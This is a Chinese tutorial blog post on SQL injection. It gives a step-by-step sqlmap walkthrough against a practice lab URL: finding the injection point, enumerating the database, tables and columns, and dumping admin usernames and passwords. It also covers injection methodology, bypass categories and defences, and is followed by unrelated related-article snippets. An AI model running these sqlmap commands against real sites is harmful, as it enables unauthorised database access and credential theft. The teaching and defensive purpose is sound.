sql注入漏洞及其sqlmap工具的使用

一、sql注入的原理

sql注入概念:

  sql注入主要是将sql语句,插入到web表单提交或者输入域名或者页面请求的查询字符串,最 终      达到一个欺骗服务器执行sql语句的效果。

sql注入的原理:主要分为平台层注入和代码层注入两种原因

平台层注入:平台层注入主要是因为数据库本身就存在有漏洞、或者进行了不安全的数据库配置。

代码层注入:代码层注入主要是因为,程序员在编写代码的时候、没有做严谨的代码过滤。从而执行了非 法的数据查询

二、sql注入靶机的搭建

http://inject1.lab.aqlab.cn:8003/index.php?id=1

三、使用sqlmap进行sql注入

(1).查看sql注入点和数据库类型
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 

我们可以看到注入点为get型。
注入方式为:布尔盲注和时间盲注。
数据库类型为:mysql
数据库版本为:5.0.12 

(2).查看数据库databases名称
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 --current-db

上述注入结果可以得知:
    1.web服务器的操作系统为:Windows
    2.web应用技术:PHP版本为5.4.45;Apache版本为2.4.23
    3.数据库名称databases为:"maoshe"

(3).查看databases下的table表的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe" --tables
sqlmap -u(指定参数) "sql注入网址" -D "databases" --tables

 我们得到tables下的一张数据库表格:
    主要包括:admin、dirs、news、xss

(4).查看tables下创建的数据库表的结构
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
	   -T "admin" --columns

此时查看到数据库databases:"maoshe"下的table:"admin"的表数据结构
    包含有:id、username、password 

(5).查看表中 "admin"的数据库表中的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
	   -T "admin" -C "id,username,password" --dump

此时我们就拿到了网站的登录账号和密码,以及他的保存地址路径。 

四、sql注入的思路是什么?

1、首先进行判断注入点,如(get注入、post注入、cookie注入、http请求头注入等)

2、进行数据库类型的判断(MySQL、Oracle、sqlserver)

        判断方法:(1).对其进行注入,通过报错类型信息进行判断

                          (2).判断数据库的端口,MySQL3306端口、Oracle1521端口

3、判断参数的数据类型:数值型和字符型

4、判断数据库的语句过滤情况:判断列数、判断显示位

5、进行绕过和过滤:关键字、逗号、等号、大于小于号、等价函数

6、根据注入情况选择注入方式:时间盲注、布尔盲注、联合查询、报错注入

五、sql注入完成后没有反应是为什么?

首先,无论SQL注入成功或者失败、都有可能造成没有反应。

sql注入成功了没有反应的原因:

SQL注入成功但没有回显”,这通常意味着已经成功地插入了恶意的SQL代码到目标应用中。

原因:盲注:目标应用可能故意隐藏了查询结果,以防止直接的信息泄露。

          输出限制:应用的输出可能受到某种形式的限制或过滤,导致即使注入成功,效果也不会被                              明 显展示出来。

         检查其他输出点:应用可能在其他地方(如日志,其他页面等)显示了与注入相关的输出。

sql注入失败了没有反应的原因:

   原因:1、sql注入的语句错误、或者被目标系统采取了相应的保护措施、导致被过滤掉了。

              2、目标系统存在日志监控日志、一旦检测到有可疑的sql注入语句、就会立即进行拦截。

              3、攻击者的网络配置或者目标系统的操作系统原因,导致没有成功的发出或者接受。

六、如何对sql注入进行防御?

  1. 日志和监控:实施日志记录和监控机制,以便及时发现和响应任何可疑活动。

  2. 使用Web应用防火墙(WAF): WAF可以识别和拦截常见的Web攻击。它可以通过检测和分析传入的HTTP请求来识别恶意模式

  3. 更新和修补: 保持数据库管理系统、应用程序框架和所有相关组件的更新。及时应用安全补丁,以修复已知的漏洞。

    4.限制和验证用户输入: 对所有的用户输入进行严格的验证和过滤,确保输入的数据符合预期             的格式和类型。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/580776.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

stm32的GPIO基本结构

1.带FT标号的引脚能容忍5V 2.GPIO系统架构 stm32的所有GPIO都是挂载在APB2总线上的 3.GPIO的基本结构 在上图中,左边就是寄存器,右边就是驱动器了 保护二极管的作用:VDD表示3.3V,如果输入的电压的值大于3.3V,那么这个…

百度网盘某个文件对外开放怎么弄通过密码下载文件对外开放某个文件

百度网盘某个文件对外开放怎么弄通过密码下载文件对外开放某个文件 百度云盘分享文件(创建公开连接)的方法: 1、登录网页,打开百度云盘,并登陆自己的帐号。 2、上传后选择自己需要分享的文件。 选择分享的文件 3、将鼠标放在需要分享的文…

上市企业数字赋能指数数据集-2001到2022年(TF-IDF)

01、数据简介 上市公司数字赋能指数是一个用来衡量上市公司利用数字技术提高业务能力和效率的指标。这个指数反映了上市公司利用大数据、云计算和人工智能等数字技术,高效地利用商业资源和信息,并扩展供应关系的能力。市公司数字赋能指数是一种综合性的…

【Linux】组管理命令

在Linux系统中,组管理是一种重要的权限管理机制: 权限分配的灵活性:通过将用户组织成不同的组,管理员可以更轻松地管理用户的权限。这样,管理员可以根据组的角色或特定任务来分配权限,而不必逐个用户进行设…

大数据时代的引擎:大数据架构随记

大数据架构通常可以分为以下几层: 一、数据采集层 负责从各种数据源采集、清洗、转换、丰富以及格式化数据,可能包括结构化、半结构化和非结构化的数据。 1.1、常用的技术 在大数据领域,数据采集是一个关键的环节,常用的数据采集…

Spring框架宝典:彻底理解三级缓存策略

一、循环依赖概念 在Spring应用中,循环依赖指的是两个或多个Bean之间相互引用,造成了一个环状的依赖关系。举例来说,如果Bean A依赖于Bean B,同时Bean B也依赖于Bean A,就形成了循环依赖。这种情况下,Sprin…

数据库介绍(Mysql安装)

前言 工程师再在存储数据用文件就可以了,为什么还要弄个数据库? 一、什么是数据库? 文件保存数据有以下几个缺点: 文件的安全性问题文件不利于数据查询和管理文件不利于存储海量数据文件在程序中控制不方便 数据库存储介质: 磁…

【Canvas与艺术】绘制朝鲜国旗

【声明】 该国旗的定位和大小是本人与网上照片比对后估算的&#xff0c;不是精确值。 【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <hea…

四信智能化感知与控制方案,助推灌区续建配套与现代化改造建设

“十四五”明确提到推进大中型灌区节水改造和精细化管理&#xff0c;建设节水灌溉骨干工程&#xff0c;同步推进水价综合改革。 灌区是保障国家粮食安全的重要基础性设施&#xff0c;是实施乡村振兴战略的水利支撑。灌区续建配套与现代化改造是实施乡村振兴战略一项重要任务。为…

一套JAVA语言开发的:危大工程智慧一体化工地系统源码,(后台管理端+APP+可视化大屏端)

智慧工地是指利用移动互联、物联网、智能算法、地理信息系统、大数据挖掘分析等信息技术&#xff0c;提高项目现场的“人•机•料•法•环•安”等施工要素信息化管理水平&#xff0c;实现工程施工可视化智能管理&#xff0c;并逐步实现绿色生态建造。 相关技术&#xff1a;微…

“百团大战”下,20年代的国产数据库如何乘风破浪?

引言 在数字化浪潮的推动下&#xff0c;数据库技术已成为支撑数字经济的坚实基石。腾讯云 TVP《技术指针》联合《明说三人行》特别策划的直播系列——【中国数据库前世今生】&#xff0c;我们将通过五期直播&#xff0c;带您穿越五个十年&#xff0c;深入探讨每个时代的数据库演…

vue3.0(四) ref全家桶以及响应的 源码分析

文章目录 1 ref1.1 ref() 是什么1.2 ref() 特点1.3 创建响应式数据1.4 引用DOM元素1.5 深层响应性1.6 DOM 更新时机1.7 ref源码 2 isRef2.1 isRef运用2.2 isRef源码 3 unref3.1 unref运用3.2 unref源码 4 shallowRef4.1 shallowRef运用4.2 shallowRef源码 5 triggerRef5.1 trig…

SpringCloud系列(10)--Eureka集群原理及搭建

前言&#xff1a;当注册中心只有一个&#xff0c;而且当这个注册中心宕机了&#xff0c;就会导致整个服务环境不可用&#xff0c;所以我们需要搭建Eureka注册中心集群来实现负载均衡故障容错 Eureka架构原理图 1、Eureka集群原理 2、创建Eureka Server端服务注册中心模块 (1)在…

ios微信小程序禁用下拉上拉

第一步&#xff1a; page.json配置页面的"navigationStyle":"custom"属性&#xff0c;禁止页面滑动 "navigationStyle":"custom" 第二步&#xff1a; 页面里面使用scroll-view包裹内容&#xff0c;内容可以内部滑动 <view class&…

LLaMA 3:大模型之战的新序幕

作者 | 符尧 OneFlow编译 翻译&#xff5c;杨婷、宛子琳、张雪聃 本文要点概览&#xff1a; 文本数据的扩展可能已经达到了极限&#xff0c;因为易于获取的网络文本资源&#xff08;如Common Crawl、GitHub、ArXiv等&#xff09;已基本被充分利用。 尽管如此&#xff0c;通过更…

Redis底层数据结构之ZSkipList

目录 一、概述二、ZSkipList结构三、和平衡树和哈希表的对比 redis底层数据结构已完结&#x1f44f;&#x1f44f;&#x1f44f;&#xff1a; ☑️redis底层数据结构之SDS☑️redis底层数据结构之ziplist☑️redis底层数据结构之quicklist☑️redis底层数据结构之Dict☑️redis…

[Diffusion Model 笔记]Score based

目录 概述方法怎么估计score&#xff08;估计噪声就是估计score&#xff09;怎么采样&#xff08;给原始数据加噪声&#xff0c;早期大后来变小&#xff09;inpainting &#xff08;来自补充材料&#xff09;还没有细究的地方&#xff1a; 概述 本文是观看以下视频的笔记&…

使用JMeter模拟设备通过MQTT发送数据

需求&#xff1a; 需要一个工具能够支持MQTT协议发送各种不同的数据。 目的&#xff1a; 模拟小型温室设备反馈&#xff0c;搭建一个测试环境&#xff0c;根据测试的数据显示硬件的状态和数值。 工具&#xff1a;JMeter 环境&#xff1a;需要配置Java运行环境。 操作步骤&a…

机器人操作系统ROS2学习—编译工作空间colcon build报错问题

在ROS2中&#xff0c;工作空间创建完成后&#xff0c;会经常需要编译工作空间。在工作空间dev_ws 下打开一个终端&#xff0c;通过指令Colcon build来编译工作空间。 1、这个过程有可能会出现如下错误: "colconbuild:Duplicate package names not supported" 根据…

阅读笔记——《BLEEM: Packet Sequence Oriented Fuzzing for Protocol Implementations》

【参考文献】Zhengxiong Luo, Junze Yu, Feilong Zuo, Jianzhong Liu, Yu Jiang, Ting Chen, Abhik Roychoudhury, and Jiaguang Sun. Bleem: Packet sequence oriented fuzzing for protocol implementations. In 32nd USENIX Security Symposium (USENIX Security 23), pages…
最新文章